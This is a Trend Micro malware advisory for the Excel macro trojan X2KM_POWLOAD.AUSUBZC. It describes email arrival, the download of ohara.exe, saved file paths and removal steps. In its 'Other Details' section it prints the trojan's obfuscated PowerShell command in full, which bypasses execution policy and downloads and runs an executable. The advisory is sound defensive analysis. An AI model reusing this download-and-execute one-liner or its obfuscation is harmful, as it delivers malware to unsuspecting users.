X2KM_POWLOAD.AUSUBZC

 Analysis by: Byron Jon Gelera

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Spammed via email, Downloaded from the Internet, Dropped by other malware


This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

77,312 bytes

File Type:

XLS

Memory Resident:

No

Initial Samples Received Date:

06 Dec 2017

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}limiteddocume.{BLOCKED}m/ohara.exe

It saves the files it downloads using the following names:

  • %User Profile%\Documents\{random filename}.exe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • It uses the following Powershell commands to download and execute a malicious file:
    • powERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='';$uy='{random filename}';$ji='.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://{BLOCKED}limiteddocume.{BLOCKED}m/ohara.exe'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe);

NOTES:
The Microsoft Excel file contains the following fake details luring users to enable macro content:

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.826.03

FIRST VSAPI PATTERN DATE:

06 Dec 2017

VSAPI OPR PATTERN File:

13.827.00

VSAPI OPR PATTERN Date:

07 Dec 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Profile%\Documents\{random filename}.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as X2KM_POWLOAD.AUSUBZC. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 5

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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